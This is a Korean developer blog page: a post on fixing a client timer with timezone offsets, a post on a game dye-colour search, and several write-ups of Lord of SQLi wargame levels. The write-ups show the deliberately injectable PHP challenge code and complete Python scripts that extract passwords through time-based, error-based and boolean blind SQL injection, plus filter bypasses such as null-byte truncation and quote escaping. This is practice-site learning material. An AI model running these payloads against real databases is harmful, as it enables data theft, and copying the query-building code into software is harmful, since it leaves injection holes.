늘모자란, 개발

늘모자란, 개발


제목을 영어로 하는데 문법이 맞나 안맞나도 잘 모르겠다.
국내에서만 서비스하면 상관없겠지만, 해외에서도 서비스를 사용하고자 하는 사람도 있다.
대개는 문제가 없다. 왜냐면 서버에서 요구하는데로 보여지기 때문인데, 클라이언트에서 timer등을 이용해 유저에게 보여지는 식으로 구성했을때는 문제가 된다

요컨데 싴갤러스- 밀수업자 기능에서 사용하고 있는 방법은,
먼저 서버에서 데이터를 받아와 표를 만들고, 마지막 데이터를 로컬 시간에 저장해놨다가 그 시간까지 타이머를 돌리는 반영구적인 타이머를 구성해두었다. 하지만 서버에서 반환하는 값은 서버사이드의 시간이고, 로컬에서 처리하는 시간은 컴퓨터의 시간을 읽으니까, 타이머의 역할을 수행하지 못하는 버그(?) 가 있었다

이를 처리하기 위해서 처음에는 new date().getTime() 을 서버 사이드로 보내고, 서버 사이드에서 diff를 처리하는 식으로 수행했다

클라이언트
var d = new Date();

$.ajax...
data: { "date" : d.getTime(); }
...


서버(PHP)
$diff = (time() - round($_POST['date']/1000))*-1;
if ( $diff > 0 ) { $diff = "+".$diff; }

strtotime(TIME."$diff seconds");


이렇게 하면 로컬에서 보내는 시간과 서버의 초 차이를 계산해, 서버 사이드에서 데이터를 계산해 출력해주게 된다.
근데 이상하게 잘 안되었다. 분명히 클라이언트와 서버시간이 달라야하는데, 같은 값을 받을때가 더 많았다. 결론은, 실패였다
(테스트를 컴퓨터 시간을 바꿔가면서만 테스트 했기 때문일지도 모르지만 크게 다를것이라고 생각하진 않음)

그래서 두번째로 시도한것은,
서버에서 시간을 당겨와 현재 로컬타임을 계산해버리자는 것이었다.
jquery에서 ajax로 임의 페이지에 질의하면 header에는 반드시 date 헤더가 실려오게 된다. 이를 js 로 다시 파싱하면 서버기준으로 시간을 처리할 수 있게 된다. 원래 이런 목적은 type에 head를 사용해주면 되는데, forbidden 이 뜬다. 그래도 시간 얻는데는 문제가 없으니..

$.ajax { ...
  success: function (dt, status, request) {
      servertime = request.getResponseHeader('date');
}


이런식으로 servertime을 얻어서 처리하면 되는데 ajax이기때문에 callback과 async에서 짜증을 겪을 수 있다. 적절히 처리하면 되긴하지만..

그런 다음,
data: { "date" : (d.getTime()/1000) - (new Date(servertime).getTime()/1000) },


이렇게 클라이언트에서다 처리해서 보내주기로 했다. 그러나, 처음했던 것 처럼 시간이 제멋대로 놀아나는 바람에 역시 제대로 계산되지가 않았다. 조금 더 고민해보다가.. 애초에 지역으로 나뉜 시간을 쓴다면 해당 지역의 offset을 보내줘버리고 내가 모두 처리해버리자 싶어서 검색하다가 다음을 찾았다

data: { "date" : d.getTimezoneOffset() },


이렇게 하면 현재 로컬 시간이 gmt와 얼마나 차이나는지 알려준다. 우리는 한국시간이니까 -540이 리턴된다. 나누기 60 하면 9니까..
그래서 서버에서 540을 기준으로 잡아놓고, 로컬 시간과 서버 사이드 시간이 얼마나 차이가 나는지 확인하면 된다

$diff = (540 + ((int)$_POST['date']))*-1;


아주 어려운 코딩은 아니었지만, 해외 유저들을 전혀 고려한적조차 없었고 (문제가 될줄도 몰랐기 때문에), 많이 당황했던 하루였다.
로컬에서 시간 관련 타이머를 사용한다면 반드시 고려해보자

2017/09/03 04:52 2017/09/03 04:52
마비노기라는 게임이 다른 게임과 차별화되는 점이라면 바로 색이 아닐까요?
어떤 아이템이던 유저들이 원하는 색으로 커스터마이즈 할 수 있다는 점은 게임 출시 직후나 지금까지도 신선한 시스템임에 틀림없습니다.

자유롭지 않은 색상

아시겠지만, 마비노기의 색상 선택은 완전히 자유롭진 못합니다.
게임 운영진이 정한 팔레트내에서 염색이 되기 때문입니다. 이렇게 미리 정의된 색상들은 착용할 수 있는 모든 부위에 존재합니다.
(몬스터 드랍의 경우는 다른 팔레트를 사용합니다. 때문에 오리지널 색상에만 있는 색도 존재합니다)

외국 마비노기 커뮤니티에 잘 쓰여진 Mabination의 글이 있어 소개하겠습니다.
우리에게 익숙한 다음과 같은 팔레트가 있습니다

천옷 염색 팔레트

이런 팔레트는 어떻게 매번 인터페이스를 열때마다 다르게 생성되는것일까요?
팔레트들의 원형이 되는 이미지가 아이템 부위별로 존재합니다.

천옷 팔레트의 raw data

미리 정의된 색상이 있고, 이를 다음 연산을 통해 비틉니다

팔레트 생성 그래프


이를 똑같이 생성해내는 wrapper 가 있으나 이것까지 알 필욘 없고..
(사실 잘 모르겠습니다. 모의 염색 시뮬 만드는 날이 올 수도 있지 않을까요?)

저희가 주목한 사실은 팔레트의 raw data가 미리 정해져있다는 것입니다. 즉, 한 픽셀씩 이동하며 색을 추출해내면(혹은 라이브러리를 이용), 일반 앰플로 염색할 수 있는 색상을 추출해낼 수 있을 것이라 생각해 작업을 시작했고, 각 타입별로 다음과 같은 유니크한 색들이 존재함을 알 수 있었습니다.

타입 갯수
천옷 13,536
야광 39,452
가죽 9,975
실크 9,711
금속 7,858

더 많은 파트를 확보할 수도 있었으나, 가장 많이 사용되는 파트를 뽑았습니다. 그 마저도 요새 나오는 아이템들은 전부 천 파트라 야광과 실크를 할까 말까 고민을 많이 하기도 했는데요. 그냥 다 넣는걸로 했습니다.

이제 붙일 내용은 준비가 끝났습니다

처음에는 이렇게 만들려고 했습니다



제일 처음에는 앞서 설명한 내용만을 가지고 구성했습니다.
그런데 보기가 너무 불편해서 다음과 같이 그림으로 나타내볼 생각을 했습니다.


그러다가 문장 하나를 적었는데 비슷한 색.. 비슷한 색.. 이 블로그에도 내용이 있지만 color difference를 가지고 놀아본적이 있기때문에 충분히 뽑아줄 수 있을 것이라 생각했죠. 그래서 이 기능을 서브 기능이 아니라 본 기능으로 빼자, 넓게넓게 보여주고 지염에서도 비슷한 거도 보여주고 넓게 넓게 탭을 구성하자고 생각했고 다음과 같이 구성했습니다.


이 후에, 출처들도 누르면 검색되게 하고 글자 색도 배경에 따라 바뀌게 하는 등 변경을 했는데, 큰 변화 없이 구성을 했습니다.
여기서 UI/UX 적 고민을 하게 되었는데 과연 표시된 색을 클릭할 생각이 드냐는거였습니다. 누가 도대체 이런 색 상자 박스를 클릭할 것인가에 대한 토론이 있었고, 아이콘을 넣어보자는 의견이 있었습니다.

그리고, 여태까지 진행된 추가 검색은 모두 있는 색 상자에 대해서만 진행되었던 것으로, 완전히 존재하지 않는 색이 검색되더라도 해당 기능을 제공하기로 결정했습니다.



그래서 이런 모양을 모든 색 상자에 적용해 다음과 같은 최종 결과물로 완성하게 되었습니다.


근접 색상 검색에 대하여

그간 썼던 글을 읽으셨던 분들도 있겠지만, 싴갤러스에서 근접 색상 정렬을 위해 사용하는 기법은 CIE 2000 입니다. 헌데 색상 거리 검색이라는건 사실 이거다! 하고 명확하게 정의할 수가 없습니다. 사람이 느끼는것과 기계적(이론적)으로 판단하는것과는 꽤나 차이가 있기 때문입니다.

CIE 2000 으로 색상을 정렬했을때 다음과 같은 문제가 있었는데요.


리블 검색을 했을때 근접해서 나오는 색상에 왠 이상한 흰색이 있다는 것이었습니다. 헌데 색을 군집해서 검색하는 CIE 2000 (다른 CIE들도 비슷) 특성상, 잘못된 결과가 아니었습니다. 검정색을 검색했는데.. 흰색이 가장 근접한 색상 BEST 10 이라고 보여드릴 수는 없었습니다. 따라서 tie-break (CIE로 색을 검색할 경우 소숫점 5자리 단위에 따라서 갈라지는 경우도 많습니다)를 위해 추가 weight를 주기로 했습니다.

혹시 CIE 2000이 잘못구현된게 아닌가 싶어서 여러 언어로도 해보고, 직접 wrap을 해보기도 했는데 할때마다 맞다는 결과만..

색의 거리를 검사하는 다음 공식으로 보여줄까도 생각했지만 터무니 없는 결과만 나왔구요.

sqrt((r2 - r1)^2 + (g2 - g1)^2 + (b2 - b1)^2)


그래서 찾아다니고 실험해보다가 가장 거리가 많이 나오는 다음 공식을 추가 weight으로 결정했습니다. (최종 값은 *0.1)
이 글을 읽고 적용한건데 잘못된 선택이 아니었길 바래봅니다..

double ColourDistance(RGB e1, RGB e2) {
    long rmean = ( (long)e1.r + (long)e2.r ) / 2;
    long r = (long)e1.r - (long)e2.r;
    long g = (long)e1.g - (long)e2.g;
    long b = (long)e1.b - (long)e2.b;
    return sqrt((((512+rmean)*r*r)>>8) + 4*g*g + (((767-rmean)*b*b)>>8)); 
}

지염 도서관은 게임 시스템상 많은 수요가 있다고 생각합니다. 앞으로 또 어떤 삽질로 만나 뵙게 될지 기대 되네요.

ps. 기능을 만들던 와중에...







2017/07/20 11:03 2017/07/20 11:03

<?php
  include "./config.php";
  login_chk();
  dbconnect();

  function reset_flag(){
    $new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);
    $chk = @mysql_fetch_array(mysql_query("select id from prob_umaru where id='{$_SESSION[los_id]}'"));
    if(!$chk[id]) mysql_query("insert into prob_umaru values('{$_SESSION[los_id]}','{$new_flag}')");
    else mysql_query("update prob_umaru set flag='{$new_flag}' where id='{$_SESSION[los_id]}'");
    echo "reset ok";
    highlight_file(__FILE__);
    exit();
  }

  if(!$_GET[flag]){ highlight_file(__FILE__); exit; }

  if(preg_match('/prob|_|\./i', $_GET[flag])) exit("No Hack ~_~");
  if(preg_match('/id|where|order|limit|,/i', $_GET[flag])) exit("HeHe");
  if(strlen($_GET[flag])>100) exit("HeHe");

  $realflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru where id='{$_SESSION[los_id]}'"));

  @mysql_query("create temporary table prob_umaru_temp as select * from prob_umaru where id='{$_SESSION[los_id]}'");
  @mysql_query("update prob_umaru_temp set flag={$_GET[flag]}");

  $tempflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru_temp"));
  if((!$realflag[flag]) || ($realflag[flag] != $tempflag[flag])) reset_flag();

  if($realflag[flag] === $_GET[flag]) solve("umaru");
?>


id where order limit, 뭐 쓸수있는게 없고 100자 넘어도 안된다
살살하다가 갑자기 살벌하게 튀어 나온 느낌이라 문제보고 좀 벙쪘는데 힘내서...

보면 reset_flag 가 실행되면 무조건 플래그가 리셋되는데 이걸 막아야된다.

reset_flag가 실행되는 시점은 단 한군데 뿐인데, 이 친구를 저지할 수 있는 시점이라고 하면 update prob_umaru... 밖에 없다. 여기서 고의로 에러를 발생시켜줘야한다. (소스상 처리가 되지 않은 PHP는 에러가 나면 반드시 죽기 때문이다)

그래서 flag에 처음엔 빈값을 넣음과 동시에 @t:=flag를 이용해 강제로 업데이트치고 패스해볼까 했는데 , 가 필터링되고 있었다. 하..
에러도 내면서 참일땐 비교도 해야 된다니  어려운일이 아닐 수가 없다. 일단 select 가 아닌 update에서의 sqli 이기 때문에 sleep 을 사용해야 되는건 맞는것 같고, 어떻게 if를 bypass할지 검색해보다가 그냥 실행만 되면 된다는거 같다. 그래서 사용을 xor 연산을 의미하는 ^ 를 사용하는데, 사실 다른 연산자는 안찾아봤지만 아마 시프트 연산도 가능할 것 같단 생각이다 "<<" 라던지.. 

우선 페이로드를 다 작성했는데 정말 16자리에서 끊어지는지 아닌지 확인하기 위해 다음과 같이 쿼리를 짰다

for j in range(1,200):
    start_time = time.time()
    data = "(select sleep(case when length(flag) like {} then '20' else '0' END)^(select '1' union select '2'))".format(j)
    data = requests.utils.quote(data)
    #print data

    r = requests.get(url+'?flag='+data,headers=headers)

    times = time.time() - start_time
    print j, times
    if times > 20:
        loop = j
        break

print loop


16에서 정확히 멈춘다. (네트워크가 불안해서 자꾸 이상한 값이 나와서 아예 큰 값을 줘버렸는데 적당히 판단들 하시길..)
이 코드를 조금만 수정해서 이제 페이로드를 따는데 진짜 골때리는 일이 벌어졌다

9자리쯤 캐치를 했는데 글쎄 100자리 제한에 걸리는것이다. 즉, like 로 비교를 걸었더니 플래그에 들어갈 string도 length 체크 대상에 들어가는것이다. 다시 말하면, payload를 16자를 뺀 83~4자안에서 끝내야 된다는것이다.... 아뿔싸가 아닐 수 없다. 어느 부분을 줄여야 하나... 8자 정도만 더 줄이면 되는데! 라고 적어놓고 보니 일일히 ' 를 해놨길래 다 뺐다. 아마 거의 자리수를 끝까지 이용하는 payload가 아닐까 싶다..

#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import requests, time
  
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/umaru_.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"

loop = 0
pw = ''


for j in range(1,200):
    start_time = time.time()
    data = "(select sleep(case when length(flag) like {} then '20' else '0' END)^(select '1' union select '2'))".format(j)
    data = requests.utils.quote(data)
    #print data

    r = requests.get(url+'?flag='+data,headers=headers)

    times = time.time() - start_time
    print j, times
    if times > 20:
        loop = j
        break

print loop

for i in range(1,loop+1):
    for j in string:
        start_time = time.time()
        data = "(select sleep(case when flag like '{}{}%' then 2 else 0 END)^(select 1 union select 2))".format(pw,j)
        data = requests.utils.quote(data)
        #print data

        r = requests.get(url+'?flag='+data,headers=headers)

        times = time.time() - start_time
        print j, times
        if times > 2:
            pw = pw + str(j)
            print "[!] found",pw
            break
   
print pw



2017/06/28 15:39 2017/06/28 15:39
<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  echo "<h1>Sorry, this challenge is broken! (Thanks to <i>@dohyeokkim</i>)</h1>";
  solve("hell_fire");
  highlight_file(__FILE__);
?>


<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/_|\.|\(\)/i', $_GET[limit])) exit("No Hack ~_~");
  echo "<h1>Sorry, this challenge is broken! (Thanks to <i>@dohyeokkim</i>)</h1>";
  solve("evil_wizard");
  highlight_file(__FILE__);
?>


헤헷... 뭐지....
도대체 뭔가 싶어서 찾아보니 이런 문제였다고 한다. DB버전을 올릴 수 없어서... 라는데 조금 아쉽긴하다.

2017/06/28 15:11 2017/06/28 15:11
<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>


썸네일이 무서운 고양이..
이번에는 if를 사용할 수 없다. 삼항연산자 (Conditinal operator)를 사용해보려고 짱구를 굴렸으나 case가 막혀있어서 안된다
아까 문제는 에러를 출력해준 반면 이 문제는 그냥 exit한다. 뭐.. 별 다를바가 없다. 이 문제에서는 에러를 어떻게 일으키는지가 초점이고, 화면이 표시 안되는건 그냥 반환 값이 0이냐 아니냐로 확인하면된다.

#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import requests
  
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/dark_eyes_.php"
string = "0123456789ABCDEF"

loop = 0
pw = ''


for j in range(1,100):
    data = "' || ( id='admin' && (select length(hex(pw))={} union select 1 )) ;".format(j)
    data = requests.utils.quote(data)
    r = requests.get(url+'?pw='+data+"%00",headers=headers)
    print r.text
    
    if len(r.text) > 0:
        loop = j
        break

print loop


for i in range(1,loop+1):
    for j in string:
        data = "' || ( id='admin' && (select right(left(hex(pw),{}),1) = 0x{} union select 1 )) ;".format(i,str(j).encode('hex'))
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data+"%00",headers=headers)

        if len(r.text) > 0:
            pw = pw + str(j)
            print "[!] found",pw
            break
   
print pw
2017/06/28 15:09 2017/06/28 15:09
<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit(mysql_error());
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>


sleep과 benchmark가 보이는거 보니 이건 time based 인젝션인거같다. 라고 생각했지만 error based injection이다.
그냥 time based로 풀지 말라고 한거같다. 역시 해보고 써야지 안해보고 글을 쓰면 괜히 다 지우는 사태가 발생한다 ㅠㅠ

오류를 일부러 내면 exit(mysql_error())에서 에러를 출력해준다.

에러는 다양하게 내는 방법이 있지만 subquery로 하기로 했다. xavis에서 사용했던 hex 놀음을 다시 할 시간.

#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import requests
  
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/iron_golem_.php"
string = "0123456789ABCDEF"

loop = 0
pw = ''


for j in range(1,100):
    data = "' || ( id='admin' && if(length(hex(pw))={},true,(select 1 union select 2))) ;".format(j)
    data = requests.utils.quote(data)
    r = requests.get(url+'?pw='+data+"%00",headers=headers)
    print r.text
    
    if r.text.find('Subquery returns more than 1 row') == -1 :
        loop = j
        break

print loop

for i in range(1,loop+1):
    for j in string:
        data = "1' || ( id='admin' && if(right(left(hex(pw),{}),1) = 0x{},true,(select 1 union select 2))) ;".format(i,str(j).encode('hex'))
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data+"%00",headers=headers)

        if r.text.find('Subquery returns more than 1 row') == -1 :
            pw = pw + str(j)
            print "[!] found",pw
            break
   
print pw


요점은 true면 내용 표시하고 아니면 에러가 나니까 죽어라고 말하는것이다. 얻은 hex값의 변환은 여기서 하면 된다
답이 다소 허무할 수 있다..
2017/06/28 14:50 2017/06/28 14:50
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>


주석을 깨야 되는데 주석이 있다고 입력이 안되는건 아니다. 이런 경우에는 개행을 시켜서 다음줄에 실행되게 하면되는데, 개행해서 건너뛴건 여러번 했다. %0a를 넣으면된다.

되는지 안되는지 알아보기 위해 다음과 같이 꾸며보자.

select id from prob_dragon where id='guest'# and pw=' and 1=2 ; '


쿼리가 돌지 않는다. 다시 제대로 준비해서 펀치를 날린다

select id from prob_dragon where id='guest'# and pw=' and 1=2 or id='admin' ; '


2017/06/28 14:17 2017/06/28 14:17
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>


전사 공격 문제이다. 음..
select id from prob_xavis where id='admin' and pw='' or 1=1;'


' 를 넣고 ;%00를 넣어서 쿼리를 파괴하니까 admin이 나온다 여기를 플래그로 넣으면 된다
근데 골치가 아프다. 일반 스트링으로 돌리니까 아스키엔 걸리지도 않고 뭔가 불길한 예감이다.
그래서 hex를 쓰기로 했다

pw를  hex화해서 length를 찍어보니 80자리란다. 80자리를 찍어보는 코드를 작성해보았다

#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import requests
  
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/xavis_.php"
string = "0123456789ABCDEF"

loop = 0
pw = ''


for j in range(1,100):
    data = "' || id='admin' && length(hex(pw)) = {};".format(j)
    data = requests.utils.quote(data)
    print url+'?pw='+data+"%00"
    r = requests.get(url+'?pw='+data+"%00",headers=headers)
    
    if r.text.find('Hello admin') != -1 :
        loop = j
        break

print loop


for i in range(1,loop+1):
    for j in string:
        data = "1' || id='admin' && right(left(hex(pw),{}),1) = 0x{} ;".format(i,str(j).encode('hex'))
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data+"%00",headers=headers)

        if r.text.find('Hello admin') != -1 :
            pw = pw + str(j)
            print "[!] found",pw
            break
   
print pw


그럼 80자리 hex code가 나오는데 이 긴 문자열의 변환은 여기서 해보자. 다른 방법이 있겠는데 나는 그냥 찾아서 했다

hex로 풀고 다른 사람들은 어떻게 했나 찾아보니 처음엔 한글이었다는데, 한글이더라도 이렇게 접근하면 뭐.. 될거 같은 생각이 든다.
속도도 범위가 정말 작기때문에 엄청나게 빨리 풀 수 있다.

여기나, 여기에서 소개해주고 있는 방법은 신세계가 열릴 수 있으니 한번쯤 참고해봐도 좋을 것 같다
2017/06/22 16:20 2017/06/22 16:20
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>


이름이 좀 무시무시한데

6자리 안되게해서 패스워드를 따내야 된단다
처음엔
pw=\%20||1in1-- 이런식으로 해서 점프하려했는데 잘보니까 주석이 될만한건 다 막혀있고 id에도 입력을 못한다. 그니까 즉.. 뒤의 id!='admin'도 써먹어야 한다.
고민좀하고 있는데 진짜 허망하게 힌트를 받았다

[22.06.17 01:59] 나이트메어인가 할차롄데
[22.06.17 01:59] 나이트메어가
[22.06.17 01:59] 오토 타입캐스트 쓰는거였던가
[22.06.17 02:03] 헐
[22.06.17 02:03] ㅎㄹ...

가끔은 어이없게 힌트를 얻기도 한다.

select id from prob_nightmare where pw=('')=0;') and id!='admin'


정답부터 적고 얘기하면 mysql 에서 문자열은 0이 되는데 0으로 매칭하면 참이 된다
이렇게도 할 수 있다

select id from prob_nightmare where pw=(''=1);') and id!='admin'


정답이 admin 을 선택하는게 아니고 단순히 아이디만 나오면 되는 것이기 때문에 쿼리를 어떻게 구성하던 상관없다.
여기서 이해해야할 것은 ''가 반환하는 값이 0이라는 것이다. (auto type cast)
그리고 뒤에 꼭 ;%00 를 붙여줘야 하는데 이게 바로 주석을 만드는 것이다. 주석은 # 이나 -- 밖에 없지 않냐.. 맞는데 여기서도 또 하나배운게,
mysql은 쿼리를 읽을떄 null을 만나면 멈춘다. 그러니까 여기서는 글자수도 맞추면서, 쿼리를 강제 중단 시키는 역할로 수행된다.

우회에 우회. 6글자! (7글자지만)

2017/06/21 13:18 2017/06/21 13:18
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>


이젠 제대로 ' 를 필터링한다. 이건 감이 안와서 검색을 좀 해봤는데 답은 quote를 강제로 esacpe 시키는것이다
그러니까 이미 escape 된 \' 이라고 거짓말을 치는건데..

요컨데 앞의 뒤의 id에 들어가는 '를 문자열로 만들어서 quote라고 인식하지 않게 하는 것이다.
그래서 ' 안에 ' 가 들어갈 수 있게 되면 쿼리가 성립한다. 좀 어처구니가 없다

select id from prob_succubus where id='\' and pw=' or 1=1 -- a'
2017/06/21 12:42 2017/06/21 12:42

1 2 3 4 5 6 7 8 9 ... 20